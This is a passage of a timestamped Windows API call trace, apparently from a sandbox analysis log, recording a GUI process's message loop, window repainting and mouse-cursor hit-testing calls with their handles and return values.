Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.550] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0276.550] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0276.550] IsIconic (hWnd=0xc0060) returned 0 [0276.551] IsIconic (hWnd=0xc0060) returned 0 [0276.551] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0276.551] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0276.551] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0276.551] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0276.551] GetSysColor (nIndex=8) returned 0x0 [0276.551] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0276.551] GetSysColor (nIndex=15) returned 0xf0f0f0 [0276.551] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0276.551] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.551] GetCurrentProcessId () returned 0x8d0 [0276.551] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.551] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.551] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.551] GetCurrentProcessId () returned 0x8d0 [0276.551] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.551] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.552] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0276.552] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0276.552] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0276.552] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.552] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=567)) returned 1 [0276.553] WindowFromPoint (Point=0x354) returned 0x1035a [0276.553] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2340354) returned 0x1 [0276.553] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.553] GetCurrentProcessId () returned 0x8d0 [0276.553] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.553] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.553] GetCapture () returned 0x0 [0276.553] WaitMessage () returned 1 [0276.628] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.628] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.628] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.628] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.628] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.628] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=567)) returned 1 [0276.628] WindowFromPoint (Point=0x352) returned 0x1035a [0276.628] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2370352) returned 0x1 [0276.629] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.629] GetCurrentProcessId () returned 0x8d0 [0276.629] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.629] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.629] GetCapture () returned 0x0 [0276.629] WaitMessage () returned 1 [0276.691] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.691] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.691] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.691] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.691] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=567)) returned 1 [0276.691] WindowFromPoint (Point=0x352) returned 0x1035a [0276.691] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2370352) returned 0x1 [0276.692] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.692] GetCurrentProcessId () returned 0x8d0 [0276.692] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.692] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.692] GetCapture () returned 0x0 [0276.692] WaitMessage () returned 1 [0276.699] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.700] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2410352) returned 0x1 [0276.700] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=850, y=577)) returned 1 [0276.700] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0276.700] PtInRect (lprc=0x18fc68, pt=0x17b) returned 0 [0276.700] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0276.700] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.700] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.700] GetCapture () returned 0x0 [0276.700] PtInRect (lprc=0x18fd3c, pt=0x17b) returned 0 [0276.700] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0276.701] WindowFromPoint (Point=0x352) returned 0xc0060 [0276.701] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2410352) returned 0x1 [0276.701] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0276.701] GetCurrentProcessId () returned 0x8d0 [0276.702] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0276.702] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0276.702] PtInRect (lprc=0x18fd08, pt=0x17b) returned 0 [0276.702] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x13c017b) returned 0x0 [0276.702] GetKeyState (nVirtKey=18) returned 1 [0276.702] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.703] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24b0352) returned 0x1 [0276.703] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=850, y=587)) returned 1 [0276.703] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0276.703] PtInRect (lprc=0x18fc68, pt=0x17b) returned 0 [0276.703] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0276.703] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.703] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.703] GetCapture () returned 0x0 [0276.704] PtInRect (lprc=0x18fd3c, pt=0x17b) returned 0 [0276.704] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0276.704] WindowFromPoint (Point=0x352) returned 0xc0060 [0276.704] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24b0352) returned 0x1 [0276.704] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0276.704] GetCurrentProcessId () returned 0x8d0 [0276.704] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0276.704] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0276.704] PtInRect (lprc=0x18fd08, pt=0x17b) returned 0 [0276.704] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x146017b) returned 0x0 [0276.704] GetKeyState (nVirtKey=18) returned 1 [0276.704] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.704] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.705] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.705] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.705] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.705] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=587)) returned 1 [0276.706] WindowFromPoint (Point=0x34f) returned 0xc0060 [0276.706] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x248034f) returned 0x1 [0276.706] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.706] GetCurrentProcessId () returned 0x8d0 [0276.706] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0276.706] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.706] PtInRect (lprc=0x18fed0, pt=0x178) returned 0 [0276.706] GetCapture () returned 0x0 [0276.706] WaitMessage () returned 1 [0276.751] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.751] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.751] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.751] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.752] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.752] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=587)) returned 1 [0276.752] WindowFromPoint (Point=0x352) returned 0xc0060 [0276.752] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24b0352) returned 0x1 [0276.752] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.753] GetCurrentProcessId () returned 0x8d0 [0276.753] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0276.753] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.753] PtInRect (lprc=0x18fed0, pt=0x17b) returned 0 [0276.753] GetCapture () returned 0x0 [0276.753] WaitMessage () returned 1 [0276.767] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.767] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500352) returned 0x1 [0276.768] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=850, y=592)) returned 1 [0276.768] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0276.768] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0276.768] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0276.768] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.768] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.768] GetCapture () returned 0x0 [0276.768] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0276.768] WindowFromPoint (Point=0x352) returned 0x10340 [0276.768] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500352) returned 0x1 [0276.768] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0276.769] GetCurrentProcessId () returned 0x8d0 [0276.769] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.769] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0276.769] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x40034) returned 0x0 [0276.769] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f958 | out: lpdwProcessId=0x18f958) returned 0x8cc [0276.769] GetCurrentProcessId () returned 0x8d0 [0276.769] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.769] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbc8) returned 0x0 [0276.769] GetKeyState (nVirtKey=18) returned 1 [0276.769] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.769] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.769] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.770] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.770] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0276.770] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0276.770] IsIconic (hWnd=0xc0060) returned 0 [0276.770] IsIconic (hWnd=0xc0060) returned 0 [0276.770] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0276.770] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0276.771] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0276.771] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0276.771] GetSysColor (nIndex=8) returned 0x0 [0276.771] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0276.771] GetSysColor (nIndex=15) returned 0xf0f0f0 [0276.771] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0276.771] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.771] GetCurrentProcessId () returned 0x8d0 [0276.771] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.772] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.772] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.772] GetCurrentProcessId () returned 0x8d0 [0276.772] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.772] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.772] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0276.772] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0276.772] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0276.773] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.773] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=592)) returned 1 [0276.773] WindowFromPoint (Point=0x350) returned 0x10340 [0276.774] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24d0350) returned 0x1 [0276.774] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.774] GetCurrentProcessId () returned 0x8d0 [0276.775] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.775] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.775] GetCapture () returned 0x0 [0276.775] WaitMessage () returned 1 [0276.795] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.795] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24a0352) returned 0x1 [0276.795] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=850, y=586)) returned 1 [0276.795] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0276.795] PtInRect (lprc=0x18fc68, pt=0x17b) returned 0 [0276.795] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0276.795] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.795] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.796] GetCapture () returned 0x0 [0276.796] PtInRect (lprc=0x18fd3c, pt=0x17b) returned 0 [0276.796] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0276.796] WindowFromPoint (Point=0x352) returned 0xc0060 [0276.796] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24a0352) returned 0x1 [0276.796] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0276.796] GetCurrentProcessId () returned 0x8d0 [0276.796] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0276.796] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0276.796] PtInRect (lprc=0x18fd08, pt=0x17b) returned 0 [0276.796] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x145017b) returned 0x0 [0276.796] GetKeyState (nVirtKey=18) returned 1 [0276.797] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.797] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.797] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.797] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0276.797] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f968 | out: lpdwProcessId=0x18f968) returned 0x8cc [0276.797] GetCurrentProcessId () returned 0x8d0 [0276.797] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.797] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbd8) returned 0x0 [0276.797] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.797] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.797] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.797] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.798] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0276.798] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0276.798] IsIconic (hWnd=0xc0060) returned 0 [0276.798] IsIconic (hWnd=0xc0060) returned 0 [0276.798] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0276.798] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0276.798] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0276.799] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0276.799] GetSysColor (nIndex=8) returned 0x0 [0276.799] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0276.799] GetSysColor (nIndex=15) returned 0xf0f0f0 [0276.799] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0276.799] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.799] GetCurrentProcessId () returned 0x8d0 [0276.799] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.799] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.799] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.799] GetCurrentProcessId () returned 0x8d0 [0276.800] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.800] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.800] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0276.800] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0276.800] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0276.801] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.801] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=586)) returned 1 [0276.801] WindowFromPoint (Point=0x34f) returned 0x10340 [0276.801] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24d034f) returned 0x1 [0276.801] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.801] GetCurrentProcessId () returned 0x8d0 [0276.801] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.801] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.801] GetCapture () returned 0x0 [0276.801] WaitMessage () returned 1 [0276.831] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.831] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500352) returned 0x1 [0276.831] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=850, y=592)) returned 1 [0276.831] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0276.831] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0276.831] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0276.831] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.832] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.832] GetCapture () returned 0x0 [0276.832] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0276.832] WindowFromPoint (Point=0x352) returned 0x10340 [0276.832] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500352) returned 0x1 [0276.832] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0276.832] GetCurrentProcessId () returned 0x8d0 [0276.832] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.832] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0276.832] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x40034) returned 0x0 [0276.832] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f958 | out: lpdwProcessId=0x18f958) returned 0x8cc [0276.832] GetCurrentProcessId () returned 0x8d0 [0276.832] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.832] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbc8) returned 0x0 [0276.832] GetKeyState (nVirtKey=18) returned 1 [0276.833] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, 